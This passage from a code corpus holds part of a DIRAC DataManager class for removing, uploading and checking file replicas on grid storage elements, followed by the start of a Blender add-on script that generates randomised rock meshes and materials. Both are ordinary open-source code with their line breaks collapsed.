) if not res['OK']: errStr = "removeReplicaFromCatalog: Completely failed to get replicas for lfns." self.log.debug( errStr, res['Message'] ) return res failed = {} successful = {} for lfn, reason in res['Value']['Failed'].items(): if reason in ( 'No such file or directory', 'File has zero replicas' ): successful[lfn] = True else: failed[lfn] = reason replicaTuples = [] for lfn, repDict in res['Value']['Successful'].items(): if storageElementName not in repDict: # The file doesn't exist at the storage element so don't have to remove it successful[lfn] = True else: replicaTuples.append( ( lfn, repDict[storageElementName], storageElementName ) ) self.log.debug( "removeReplicaFromCatalog: Resolved %s pfns for catalog removal at %s." % ( len( replicaTuples ), storageElementName ) ) res = self.__removeCatalogReplica( replicaTuples ) failed.update( res['Value']['Failed'] ) successful.update( res['Value']['Successful'] ) resDict = {'Successful':successful, 'Failed':failed} return S_OK( resDict ) def removeCatalogPhysicalFileNames( self, replicaTuple ): """ Remove replicas from the file catalog specified by replica tuple 'replicaTuple' is a tuple containing the replica to be removed and is of the form ( lfn, pfn, se ) """ if type( replicaTuple ) == ListType: replicaTuples = replicaTuple elif type( replicaTuple ) == TupleType: replicaTuples = [replicaTuple] else: errStr = "removeCatalogPhysicalFileNames: Supplied info must be tuple or list of tuples." self.log.debug( errStr ) return S_ERROR( errStr ) return self.__removeCatalogReplica( replicaTuples ) def __removeCatalogReplica( self, replicaTuples ): """ remove replica form catalogue :param replicaTuples : list of (lfn, catalogPFN, se) """ oDataOperation = self.__initialiseAccountingObject( 'removeCatalogReplica', '', len( replicaTuples ) ) oDataOperation.setStartTime() start = time.time() # HACK! replicaDict = {} for lfn, pfn, se in replicaTuples: replicaDict[lfn] = {'SE':se, 'PFN':pfn} res = self.fc.removeReplica( replicaDict ) oDataOperation.setEndTime() oDataOperation.setValueByKey( 'RegistrationTime', time.time() - start ) if not res['OK']: oDataOperation.setValueByKey( 'RegistrationOK', 0 ) oDataOperation.setValueByKey( 'FinalStatus', 'Failed' ) gDataStoreClient.addRegister( oDataOperation ) errStr = "__removeCatalogReplica: Completely failed to remove replica: " + res['Message'] self.log.debug( errStr ) return S_ERROR( errStr ) success = res['Value']['Successful'] failed = res['Value']['Failed'] for lfn, error in failed.items(): # Ignore error if file doesn't exist # This assumes all catalogs return an error as { catalog : error } for catalog, err in error.items(): if 'no such file' in err.lower(): success.setdefault( lfn, {} ).update( { catalog : True} ) error.pop( catalog ) if not failed[lfn]: failed.pop( lfn ) else: self.log.error( "__removeCatalogReplica: Failed to remove replica.", "%s %s" % ( lfn, error ) ) # Only for logging information if success: self.log.debug( "__removeCatalogReplica: Removed %d replicas" % len( success ) ) for lfn in success: self.log.debug( "__removeCatalogReplica: Successfully removed replica.", lfn ) oDataOperation.setValueByKey( 'RegistrationOK', len( success ) ) gDataStoreClient.addRegister( oDataOperation ) return res def removePhysicalReplicaLegacy( self, storageElementName, lfn ): """ Remove replica from Storage Element. 'lfn' are the files to be removed 'storageElementName' is the storage where the file is to be removed """ if type( lfn ) == ListType: lfns = lfn elif type( lfn ) == StringType: lfns = [lfn] else: errStr = "removePhysicalReplica: Supplied lfns must be string or list of strings." self.log.debug( errStr ) return S_ERROR( errStr ) successful = {} failed = {} # Check that we have write permissions to this directory. res = self.__verifyWritePermission( lfns ) if not res['OK']: return res if res['Value']['Failed']: errStr = "removePhysicalReplica: Write access not permitted for this credential." self.log.debug( errStr, 'for %d files' % len( res['Value']['Failed'] ) ) failed.update( dict.fromkeys( res['Value']['Failed'], errStr ) ) lfns = [lfn for lfn in lfns if lfn not in res['Value']['Failed']] self.log.debug( "removePhysicalReplica: Attempting to remove %s lfns at %s." % ( len( lfns ), storageElementName ) ) self.log.debug( "removePhysicalReplica: Attempting to resolve replicas." ) res = self.getReplicas( lfns ) if not res['OK']: errStr = "removePhysicalReplica: Completely failed to get replicas for lfns." self.log.debug( errStr, res['Message'] ) return res failed.update( res['Value']['Failed'] ) replicaDict = res['Value']['Successful'] successful = {} lfnsToRemove = [] for lfn, repDict in replicaDict.items(): if storageElementName not in repDict: # The file doesn't exist at the storage element so don't have to remove it successful[lfn] = True else: lfnsToRemove.append( lfn ) self.log.debug( "removePhysicalReplica: Resolved %s pfns for removal at %s." % ( len( lfnsToRemove ), storageElementName ) ) res = self.__removePhysicalReplica( storageElementName, lfnsToRemove, replicaDict = replicaDict ) for lfn, error in res['Value']['Failed'].items(): failed[lfn] = error for lfn in res['Value']['Successful']: successful[lfn] = True resDict = { 'Successful' : successful, 'Failed' : failed } return S_OK( resDict ) def __removePhysicalReplica( self, storageElementName, lfnsToRemove, replicaDict = None ): """ remove replica from storage element :param storageElementName : name of the storage Element :param lfnsToRemove : list of lfn to removes :param replicaDict : cache of fc.getReplicas, to be passed to the SE """ self.log.debug( "__removePhysicalReplica: Attempting to remove %s pfns at %s." % ( len( lfnsToRemove ), storageElementName ) ) storageElement = StorageElement( storageElementName, vo = self.vo ) res = storageElement.isValid() if not res['OK']: errStr = "__removePhysicalReplica: The storage element is not currently valid." self.log.debug( errStr, "%s %s" % ( storageElementName, res['Message'] ) ) return S_ERROR( errStr ) oDataOperation = self.__initialiseAccountingObject( 'removePhysicalReplica', storageElementName, len( lfnsToRemove ) ) oDataOperation.setStartTime() start = time.time() ret = storageElement.getFileSize( lfnsToRemove, replicaDict = replicaDict ) deletedSizes = ret.get( 'Value', {} ).get( 'Successful', {} ) res = storageElement.removeFile( lfnsToRemove, replicaDict = replicaDict ) oDataOperation.setEndTime() oDataOperation.setValueByKey( 'TransferTime', time.time() - start ) if not res['OK']: oDataOperation.setValueByKey( 'TransferOK', 0 ) oDataOperation.setValueByKey( 'FinalStatus', 'Failed' ) gDataStoreClient.addRegister( oDataOperation ) errStr = "__removePhysicalReplica: Failed to remove replicas." self.log.debug( errStr, res['Message'] ) return S_ERROR( errStr ) else: for lfn, value in res['Value']['Failed'].items(): if 'No such file or directory' in value: res['Value']['Successful'][lfn] = lfn res['Value']['Failed'].pop( lfn ) for lfn in res['Value']['Successful']: res['Value']['Successful'][lfn] = True deletedSize = sum( [size for lfn, size in deletedSizes.items() if lfn in res['Value']['Successful']] ) oDataOperation.setValueByKey( 'TransferSize', deletedSize ) oDataOperation.setValueByKey( 'TransferOK', len( res['Value']['Successful'] ) ) gDataStoreClient.addRegister( oDataOperation ) infoStr = "__removePhysicalReplica: Successfully issued accounting removal request." self.log.debug( infoStr ) return res ######################################################################### # # File transfer methods # def put( self, lfn, fileName, diracSE, path = None ): """ Put a local file to a Storage Element :param self: self reference :param str lfn: LFN :param str fileName: the full path to the local file :param str diracSE: the Storage Element to which to put the file :param str path: the path on the storage where the file will be put (if not provided the LFN will be used) """ # Check that the local file exists if not os.path.exists( fileName ): errStr = "put: Supplied file does not exist." self.log.debug( errStr, fileName ) return S_ERROR( errStr ) # If the path is not provided then use the LFN path if not path: path = os.path.dirname( lfn ) # Obtain the size of the local file size = getSize( fileName ) if size == 0: errStr = "put: Supplied file is zero size." self.log.debug( errStr, fileName ) return S_ERROR( errStr ) ########################################################## # Instantiate the destination storage element here. storageElement = StorageElement( diracSE, vo = self.vo ) res = storageElement.isValid() if not res['OK']: errStr = "put: The storage element is not currently valid." self.log.debug( errStr, "%s %s" % ( diracSE, res['Message'] ) ) return S_ERROR( errStr ) fileDict = {lfn:fileName} successful = {} failed = {} ########################################################## # Perform the put here. startTime = time.time() res = returnSingleResult( storageElement.putFile( fileDict ) ) putTime = time.time() - startTime if not res['OK']: errStr = "put: Failed to put file to Storage Element." failed[lfn] = res['Message'] self.log.debug( errStr, "%s: %s" % ( fileName, res['Message'] ) ) else: self.log.debug( "put: Put file to storage in %s seconds." % putTime ) successful[lfn] = res['Value'] resDict = {'Successful': successful, 'Failed':failed} return S_OK( resDict ) # def removeReplica(self,lfn,storageElementName,singleFile=False): # def putReplica(self,lfn,storageElementName,singleFile=False): # def replicateReplica(self,lfn,size,storageElementName,singleFile=False): def getActiveReplicas( self, lfns ): """ Get all the replicas for the SEs which are in Active status for reading. """ res = self.getReplicas( lfns, allStatus = False ) if not res['OK']: return res replicas = res['Value'] return self.checkActiveReplicas( replicas ) def checkActiveReplicas( self, replicaDict ): """ Check a replica dictionary for active replicas """ if type( replicaDict ) != DictType: return S_ERROR( 'Wrong argument type %s, expected a dictionary' % type( replicaDict ) ) for key in [ 'Successful', 'Failed' ]: if not key in replicaDict: return S_ERROR( 'Missing key "%s" in replica dictionary' % key ) if type( replicaDict[key] ) != DictType: return S_ERROR( 'Wrong argument type %s, expected a dictionary' % type( replicaDict[key] ) ) seReadStatus = {} for lfn, replicas in replicaDict['Successful'].items(): if type( replicas ) != DictType: del replicaDict['Successful'][ lfn ] replicaDict['Failed'][lfn] = 'Wrong replica info' continue for se in replicas.keys(): # Fix the caching readStatus = seReadStatus[se] if se in seReadStatus else seReadStatus.setdefault( se, self.__SEActive( se ).get( 'Value', {} ).get( 'Read', False ) ) if not readStatus: replicas.pop( se ) return S_OK( replicaDict ) def __SEActive( self, se ): """ check is SE is active """ result = StorageFactory().getStorageName( se ) if not result['OK']: return S_ERROR( 'SE not known' ) resolvedName = result['Value'] for _i in range( 5 ): res = self.resourceStatus.getStorageElementStatus( resolvedName, default = None ) if res['OK']: break if not res[ 'OK' ]: return S_ERROR( 'SE not known' ) seStatus = { 'Read' : True, 'Write' : True } if res['Value'][resolvedName].get( 'ReadAccess', 'Active' ) not in ( 'Active', 'Degraded' ): seStatus[ 'Read' ] = False if res['Value'][resolvedName].get( 'WriteAccess', 'Active' ) not in ( 'Active', 'Degraded' ): seStatus[ 'Write' ] = False return S_OK( seStatus ) def __initialiseAccountingObject( self, operation, se, files ): """ create accouting record """ accountingDict = {} accountingDict['OperationType'] = operation result = getProxyInfo() if not result['OK']: userName = 'system' else: userName = result['Value'].get( 'username', 'unknown' ) accountingDict['User'] = userName accountingDict['Protocol'] = 'DataManager' accountingDict['RegistrationTime'] = 0.0 accountingDict['RegistrationOK'] = 0 accountingDict['RegistrationTotal'] = 0 accountingDict['Destination'] = se accountingDict['TransferTotal'] = files accountingDict['TransferOK'] = files accountingDict['TransferSize'] = files accountingDict['TransferTime'] = 0.0 accountingDict['FinalStatus'] = 'Successful' accountingDict['Source'] = DIRAC.siteName() oDataOperation = DataOperation() oDataOperation.setValuesFromDict( accountingDict ) return oDataOperation ########################################## # # Defunct methods only there before checking backward compatability # def getReplicas( self, lfns, allStatus = True ): """ get replicas from catalogue """ res = self.fc.getReplicas( lfns, allStatus = allStatus ) if not self.useCatalogPFN: if res['OK']: se_lfn = {} catalogReplicas = res['Value']['Successful'] # We group the query to getURL by storage element to gain in speed for lfn in catalogReplicas: for se in catalogReplicas[lfn]: se_lfn.setdefault( se, [] ).append( lfn ) for se in se_lfn: seObj = StorageElement( se, vo = self.vo ) succPfn = seObj.getURL( se_lfn[se], protocol = self.registrationProtocol ).get( 'Value', {} ).get( 'Successful', {} ) for lfn in succPfn: # catalogReplicas still points res["value"]["Successful"] so res will be updated catalogReplicas[lfn][se] = succPfn[lfn] return res ##################################################################################################3 # Methods from the catalogToStorage. It would all work with the direct call to the SE, but this checks # first if the replica is known to the catalog def __executeIfReplicaExists( self, storageElementName, lfn, method, **kwargs ): """ a simple wrapper that allows replica querying then perform the StorageElement operation :param self: self reference :param str storageElementName: DIRAC SE name :param mixed lfn: a LFN str, list of LFNs or dict with LFNs as keys """ # # default value kwargs = kwargs if kwargs else {} # # get replicas for lfn res = FileCatalog( vo = self.vo ).getReplicas( lfn ) if not res["OK"]: errStr = "__executeIfReplicaExists: Completely failed to get replicas for LFNs." self.log.debug( errStr, res["Message"] ) return res # # returned dict, get failed replicase retDict = { "Failed": res["Value"]["Failed"], "Successful" : {} } # # print errors for lfn, reason in retDict["Failed"].items(): self.log.error( "_callReplicaSEFcn: Failed to get replicas for file.", "%s %s" % ( lfn, reason ) ) # # good replicas lfnReplicas = res["Value"]["Successful"] # # store PFN to LFN mapping lfnList = [] se = None # Placeholder for the StorageElement object for lfn, replicas in lfnReplicas.items(): if storageElementName in replicas: lfnList.append( lfn ) else: errStr = "__executeIfReplicaExists: File hasn't got replica at supplied Storage Element." self.log.error( errStr, "%s %s" % ( lfn, storageElementName ) ) retDict["Failed"][lfn] = errStr if 'replicaDict' not in kwargs: kwargs['replicaDict'] = lfnReplicas # # call StorageElement function at least se = se = se if se else StorageElement( storageElementName, vo = self.vo ) fcn = getattr( se, method ) res = fcn( lfnList, **kwargs ) # # check result if not res["OK"]: errStr = "__executeIfReplicaExists: Failed to execute %s StorageElement method." % method self.log.error( errStr, res["Message"] ) return res # # filter out failed and successful for lfn, lfnRes in res["Value"]["Successful"].items(): retDict["Successful"][lfn] = lfnRes for lfn, errorMessage in res["Value"]["Failed"].items(): retDict["Failed"][lfn] = errorMessage return S_OK( retDict ) def getReplicaIsFile( self, lfn, storageElementName ): """ determine whether the supplied lfns are files at the supplied StorageElement :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "isFile" ) def getReplicaSize( self, lfn, storageElementName ): """ get the size of files for the lfns at the supplied StorageElement :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "getFileSize" ) def getReplicaAccessUrl( self, lfn, storageElementName, protocol = False ): """ get the access url for lfns at the supplied StorageElement :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "getURL", protocol = protocol ) def getReplicaMetadata( self, lfn, storageElementName ): """ get the file metadata for lfns at the supplied StorageElement :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "getFileMetadata" ) def prestageReplica( self, lfn, storageElementName, lifetime = 86400 ): """ issue a prestage requests for the lfns at the supplied StorageElement :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param int lifetime: 24h in seconds :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "prestageFile", lifetime = lifetime ) def pinReplica( self, lfn, storageElementName, lifetime = 86400 ): """ pin the lfns at the supplied StorageElement :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param int lifetime: 24h in seconds :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "pinFile", lifetime = lifetime ) def releaseReplica( self, lfn, storageElementName ): """ release pins for the lfns at the supplied StorageElement :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "releaseFile" ) def getReplica( self, lfn, storageElementName, localPath = False ): """ copy replicas from DIRAC SE to local directory :param self: self reference :param mixed lfn: LFN string, list if LFNs or dict with LFNs as keys :param str storageElementName: DIRAC SE name :param mixed localPath: path in the local file system, if False, os.getcwd() will be used :param bool singleFile: execute for the first LFN only """ return self.__executeIfReplicaExists( storageElementName, lfn, "getFile", localPath = localPath )
codeparrot/github-code-clean
# Blender rock creation tool # # Based on BlenderGuru's asteroid tutorial and personal experimentation. # Tutorial: http://www.blenderguru.com/how-to-make-a-realistic-asteroid/ # Update with another tutorial shared by "rusted" of BlenderArtists: # Tutorial: http://saschahenrichs.blogspot.com/2010/03/3dsmax-environment-modeling-1.html # # Uses the NumPy Gaussian random number generator to generate a # a rock within a given range and give some randomness to the displacement # texture values. NumPy's gaussian generator was chosen as, based on # profiling I performed, it runs in about half the time as the built in # Python gaussian equivalent. I would like to shift the script to use the # NumPy beta distribution as it ran in about half the time as the NumPy # gaussian once the skew calculations are added. # # Set lower and upper bounds to the same for no randomness. # # Tasks: # Generate meshes with random scaling between given values. # - Allow for a skewed distribution # *** Completed on 4/17/2011 *** # - Create a set of meshes that can be used # Give the user the ability to set the subsurf level (detail level) # *** Completed on 4/29/2011 *** # - Set subsurf modifiers to default at view:3, render:3. # *** Completed on 4/17/2011 *** # - Set crease values to allow for hard edges on first subsurf. # *** Completed on 4/29/2011 *** # Be able to generate and add a texture to the displacement modifiers. # *** Completed 5/17/2011 *** # - Generate three displacement modifiers. # - The first only uses a Musgrave for initial intentations. # *** Now generating four displacement modifiers *** # *** Completed on 5/17/2011 *** # - Set a randomness for the type and values of the displacement texture. # *** Completed 5/9/2011 *** # - Allow the user to set a value for the range of displacement. # -> Modification: have user set "roughness" and "roughness range". # *** Compleded on 4/23/2011 *** # Set material settings and assign material textures # *** Completed 6/9/2011 *** # - Mossiness of the rocks. # *** Completed 6/9/2011 *** # - Color of the rocks. # *** Completed 5/16/2011 *** # - Wetness/shinyness of the rock. # *** Completed 5/6/2011 *** # - For all the user provides a mean value for a skewed distribution. # *** Removed to lessen usage complexity *** # Add some presets (mesh) to make it easier to use # - Examples: river rock, asteroid, quaried rock, etc # *** Completed 7/12/2011 *** # # Code Optimization: # Remove all "bpy.ops" operations with "bpy.data" base operations. # Remove material/texture cataloging with building a list of # returned values from bpy.data.*.new() operations. # *** Completed on 9/6/2011 *** # Search for places where list comprehensions can be used. # Look for alternate methods # - Possible alternate and more efficient data structures # - Possible alternate algorithms may realize greater performance # - Look again at multi-processing. Without bpy.ops is might # be viable. # # Future tasks: # Multi-thread the script # *** Will not be implemented. Multi-processing is adding to much # overhead to realize a performance increase *** # - Learn basic multi-threading in Python (multiprocessing) # - Break material generation into separate threads (processes) # - Break mesh generation into separate threads (processes) # - Move name generation, texture ID generation, etc to process first # - Roll version to 2.0 on completion # # Paul "BrikBot" Marshall # Created: April 17, 2011 # Last Modified: November 17, 2011 # Homepage (blog): http://post.darkarsenic.com/ # //blog.darkarsenic.com/ # Thanks to Meta-Androco, RickyBlender, Ace Dragon, and PKHG for ideas # and testing. # # Coded in IDLE, tested in Blender 2.59. NumPy Recommended. # Search for "@todo" to quickly find sections that need work. # # Remeber - # Functional code comes before fast code. Once it works, then worry about # making it faster/more efficient. # # ##### BEGIN GPL LICENSE BLOCK ##### # # The Blender Rock Creation tool is for rapid generation of mesh rocks. # Copyright (C) 2011 Paul Marshall # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. # # ##### END GPL LICENSE BLOCK ##### # <pep8 compliant> import bpy import math import time from add_mesh_rocks import (settings, utils) from bpy_extras import object_utils from mathutils import (Color, Vector) from bpy.props import (BoolProperty, IntProperty, FloatProperty, FloatVectorProperty, EnumProperty) # This try block allows for the script to psudo-intelligently select the # appropriate random to use. If Numpy's random is present it will use that. # If Numpy's random is not present, it will through a "module not found" # exception and instead use the slower built-in random that Python has. try: from numpy.random import random_integers as randint from numpy.random import normal as gauss from numpy.random import (beta, uniform, seed, weibull) print("Rock Generator: Numpy found.") numpy = True except: from random import (randint, gauss, uniform, seed) from random import betavariate as beta from random import weibullvariate as weibull print("Rock Generator: Numpy not found. Using Python's random.") numpy = False # Global variables: lastRock = 0 # Creates a new mesh: # # param: verts - Vector of vertices for the mesh. # edges - Edges for the mesh. Can be "[]". # faces - Face tuples corresponding to vertices. # name - Name of the mesh. def createMeshObject(context, verts, edges, faces, name): # Create new mesh mesh = bpy.data.meshes.new(name) # Make a mesh from a list of verts/edges/faces. mesh.from_pydata(verts, edges, faces) # Set mesh to use auto smoothing: mesh.use_auto_smooth = True # Update mesh geometry after adding stuff. mesh.update() return object_utils.object_data_add(context, mesh, operator=None) # Set the values for a texture from parameters. # # param: texture - bpy.data.texture to modify. # level - designated tweaked settings to use # -> Below 10 is a displacment texture # -> Between 10 and 20 is a base material texture def randomizeTexture(texture, level=1): noises = ['BLENDER_ORIGINAL', 'ORIGINAL_PERLIN', 'IMPROVED_PERLIN', 'VORONOI_F1', 'VORONOI_F2', 'VORONOI_F3', 'VORONOI_F4', 'VORONOI_F2_F1', 'VORONOI_CRACKLE'] if texture.type == 'CLOUDS': if randint(0, 1) == 0: texture.noise_type = 'SOFT_NOISE' else: texture.noise_type = 'HARD_NOISE' if level != 11: tempInt = randint(0, 6) else: tempInt = randint(0, 8) texture.noise_basis = noises[tempInt] texture.noise_depth = 8 if level == 0: texture.noise_scale = gauss(0.625, 1 / 24) elif level == 2: texture.noise_scale = 0.15 elif level == 11: texture.noise_scale = gauss(0.5, 1 / 24) if texture.noise_basis in ['BLENDER_ORIGINAL', 'ORIGINAL_PERLIN', 'IMPROVED_PERLIN', 'VORONOI_F1']: texture.intensity = gauss(1, 1 / 6) texture.contrast = gauss(4, 1 / 3) elif texture.noise_basis in ['VORONOI_F2', 'VORONOI_F3', 'VORONOI_F4']: texture.intensity = gauss(0.25, 1 / 12) texture.contrast = gauss(2, 1 / 6) elif texture.noise_basis == 'VORONOI_F2_F1': texture.intensity = gauss(0.5, 1 / 6) texture.contrast = gauss(2, 1 / 6) elif texture.noise_basis == 'VORONOI_CRACKLE': texture.intensity = gauss(0.5, 1 / 6) texture.contrast = gauss(2, 1 / 6) elif texture.type == 'MUSGRAVE': musgraveType = ['MULTIFRACTAL', 'RIDGED_MULTIFRACTAL', 'HYBRID_MULTIFRACTAL', 'FBM', 'HETERO_TERRAIN'] texture.musgrave_type = 'MULTIFRACTAL' texture.dimension_max = abs(gauss(0, 0.6)) + 0.2 texture.lacunarity = beta(3, 8) * 8.2 + 1.8 if level == 0: texture.noise_scale = gauss(0.625, 1 / 24) texture.noise_intensity = 0.2 texture.octaves = 1.0 elif level == 2: texture.intensity = gauss(1, 1 / 6) texture.contrast = 0.2 texture.noise_scale = 0.15 texture.octaves = 8.0 elif level == 10: texture.intensity = gauss(0.25, 1 / 12) texture.contrast = gauss(1.5, 1 / 6) texture.noise_scale = 0.5 texture.octaves = 8.0 elif level == 12: texture.octaves = uniform(1, 3) elif level > 12: texture.octaves = uniform(2, 8) else: texture.intensity = gauss(1, 1 / 6) texture.contrast = 0.2 texture.octaves = 8.0 elif texture.type == 'DISTORTED_NOISE': tempInt = randint(0, 8) texture.noise_distortion = noises[tempInt] tempInt = randint(0, 8) texture.noise_basis = noises[tempInt] texture.distortion = skewedGauss(2.0, 2.6666, (0.0, 10.0), False) if level == 0: texture.noise_scale = gauss(0.625, 1 / 24) elif level == 2: texture.noise_scale = 0.15 elif level >= 12: texture.noise_scale = gauss(0.2, 1 / 48) elif texture.type == 'STUCCI': stucciTypes = ['PLASTIC', 'WALL_IN', 'WALL_OUT'] if randint(0, 1) == 0: texture.noise_type = 'SOFT_NOISE' else: texture.noise_type = 'HARD_NOISE' tempInt = randint(0, 2) texture.stucci_type = stucciTypes[tempInt] if level == 0: tempInt = randint(0, 6) texture.noise_basis = noises[tempInt] texture.noise_scale = gauss(0.625, 1 / 24) elif level == 2: tempInt = randint(0, 6) texture.noise_basis = noises[tempInt] texture.noise_scale = 0.15 elif level >= 12: tempInt = randint(0, 6) texture.noise_basis = noises[tempInt] texture.noise_scale = gauss(0.2, 1 / 30) else: tempInt = randint(0, 6) texture.noise_basis = noises[tempInt] elif texture.type == 'VORONOI': metrics = ['DISTANCE', 'DISTANCE_SQUARED', 'MANHATTAN', 'CHEBYCHEV', 'MINKOVSKY_HALF', 'MINKOVSKY_FOUR', 'MINKOVSKY'] # Settings for first dispalcement level: if level == 0: tempInt = randint(0, 1) texture.distance_metric = metrics[tempInt] texture.noise_scale = gauss(0.625, 1 / 24) texture.contrast = 0.5 texture.intensity = 0.7 elif level == 2: texture.noise_scale = 0.15 tempInt = randint(0, 6) texture.distance_metric = metrics[tempInt] elif level >= 12: tempInt = randint(0, 1) texture.distance_metric = metrics[tempInt] texture.noise_scale = gauss(0.125, 1 / 48) texture.contrast = 0.5 texture.intensity = 0.7 else: tempInt = randint(0, 6) texture.distance_metric = metrics[tempInt] return # Randomizes the given material given base values. # # param: Material to randomize def randomizeMaterial(material, color, dif_int, rough, spec_int, spec_hard, use_trans, alpha, cloudy, mat_IOR, mossiness, spec_IOR): skew = False stddev = 0.0 lastUsedTex = 1 numTex = 6 baseColor = [] # Diffuse settings: material.diffuse_shader = 'OREN_NAYAR' if 0.5 > dif_int: stddev = dif_int / 3 skew = False else: stddev = (1 - dif_int) / 3 skew = True material.diffuse_intensity = skewedGauss(dif_int, stddev, (0.0, 1.0), skew) if 1.57 > rough: stddev = rough / 3 skew = False else: stddev = (3.14 - rough) / 3 skew = True material.roughness = skewedGauss(rough, stddev, (0.0, 3.14), skew) for i in range(3): if color[i] > 0.9 or color[i] < 0.1: baseColor.append(skewedGauss(color[i], color[i] / 30, (0, 1), color[i] > 0.9)) else: baseColor.append(gauss(color[i], color[i] / 30)) material.diffuse_color = baseColor # Specular settings: material.specular_shader = 'BLINN' if 0.5 > spec_int: variance = spec_int / 3 skew = False else: variance = (1 - spec_int) / 3 skew = True material.specular_intensity = skewedGauss(spec_int, stddev, (0.0, 1.0), skew) if 256 > spec_hard: variance = (spec_hard - 1) / 3 skew = False else: variance = (511 - spec_hard) / 3 skew = True material.specular_hardness = int(round(skewedGauss(spec_hard, stddev, (1.0, 511.0), skew))) if 5.0 > spec_IOR: variance = spec_IOR / 3 skew = False else: variance = (10.0 - spec_IOR) / 3 skew = True material.specular_ior = skewedGauss(spec_IOR, stddev, (0.0, 10.0), skew) # Raytrans settings: # *** Added on 11/17/2011 *** material.use_transparency = use_trans if use_trans: trans = material.raytrace_transparency # Fixed values: material.transparency_method = 'RAYTRACE' trans.depth = 24 trans.gloss_samples = 32 trans.falloff = 1.0 # Needs randomization: material.alpha = -gauss(alpha, 0.05) + 1; trans.gloss_factor = -gauss(cloudy, 0.05) + 1 trans.filter = gauss(cloudy, 0.1) trans.ior = skewedGauss(mat_IOR, 0.01, [0.25, 4.0], mat_IOR > 2.125) #Misc. settings: material.use_transparent_shadows = True # Rock textures: # Now using slot.texture for texture access instead of # bpy.data.textures[newTex[<index>]] # *** Completed on 9/6/2011 *** # Create the four new textures: textureTypes = ['MUSGRAVE', 'CLOUDS', 'DISTORTED_NOISE', 'STUCCI', 'VORONOI'] for i in range(numTex): texColor = [] # Set the active material slot: material.active_texture_index = i # Assign a texture to the active material slot: material.active_texture = bpy.data.textures.new(name = 'stone_tex', type = 'NONE') # Store the slot to easy coding access: slot = material.texture_slots[i] # If the texture is not a moss texture: if i > 1: slot.texture.type = textureTypes[randint(0, 3)] # Set the texture's color (RGB): for j in range(3): if color[j] > 0.9 or color[j] < 0.1: texColor.append(skewedGauss(color[j], color[j] / 30, (0, 1), color[j] > 0.9)) else: texColor.append(gauss(color[j], color[j] / 30)) slot.color = texColor # Randomize the value (HSV): v = material.diffuse_color.v if v == 0.5: slot.color.v = gauss(v, v / 3) elif v > 0.5: slot.color.v = skewedGauss(v, v / 3, (0, 1), True) else: slot.color.v = skewedGauss(v, (1 - v) / 3, (0, 1), False) # Adjust scale and normal based on texture type: if slot.texture.type == 'VORONOI': slot.scale = (gauss(5, 1), gauss(5, 1), gauss(5, 1)) slot.normal_factor = gauss(rough / 10, rough / 30) elif slot.texture.type == 'STUCCI': slot.scale = (gauss(1.5, 0.25), gauss(1.5, 0.25), gauss(1.5, 0.25)) slot.normal_factor = gauss(rough / 10, rough / 30) elif slot.texture.type == 'DISTORTED_NOISE': slot.scale = (gauss(1.5, 0.25), gauss(1.5, 0.25), gauss(1.5, 0.25)) slot.normal_factor = gauss(rough / 10, rough / 30) elif slot.texture.type == 'MUSGRAVE': slot.scale = (gauss(1.5, 0.25), gauss(1.5, 0.25), gauss(1.5, 0.25)) slot.normal_factor = gauss(rough, rough / 3) elif slot.texture.type == 'CLOUDS': slot.scale = (gauss(1.5, 0.25), gauss(1.5, 0.25), gauss(1.5, 0.25)) slot.normal_factor = gauss(rough, rough / 3) # Set the color influence to 0.5. # This allows for the moss textures to show: slot.diffuse_color_factor = 0.5 # Set additional influence booleans: slot.use_stencil = True slot.use_map_specular = True slot.use_map_color_spec = True slot.use_map_hardness = True slot.use_map_normal = True # The following is for setting up the moss textures: else: slot.texture.type = textureTypes[i] # Set the mosses color (RGB): texColor.append(gauss(0.5, 1 / 6)) texColor.append(1) texColor.append(0) slot.color = texColor # Randomize the value (HSV): slot.color.v = gauss(0.275, 1 / 24) # Scale the texture size: slot.scale = (gauss(1.5, 0.25), gauss(1.5, 0.25), gauss(1.5, 0.25)) # Set the strength of the moss color: slot.diffuse_color_factor = mossiness # Have it influence spec and hardness: slot.use_map_specular = True slot.use_map_color_spec = True slot.use_map_hardness = True # If the texutre is a voronoi crackle clouds, use "Negative": if slot.texture.type == 'CLOUDS': if slot.texture.noise_basis == 'VORONOI_CRACKLE': slot.invert = True if mossiness == 0: slot.use = False randomizeTexture(slot.texture, 10 + i) return # Generates an object based on one of several different mesh types. # All meshes have exactly eight vertices, and may be built from either # tri's or quads. # # param: muX - mean X offset value # sigmaX - X offset standard deviation # scaleX - X upper and lower bounds # upperSkewX - Is the distribution upperskewed? # muY - mean Y offset value # sigmaY - Y offset standard deviation # scaleY - Y upper and lower bounds # upperSkewY - Is the distribution upperskewed? # muZ - mean Z offset value # sigmaZ - Z offset standard deviation # scaleZ - Z upper and lower bounds # upperSkewY - Is the distribution upperskewed? # base - base number on the end of the object name # shift - Addition to the base number for multiple 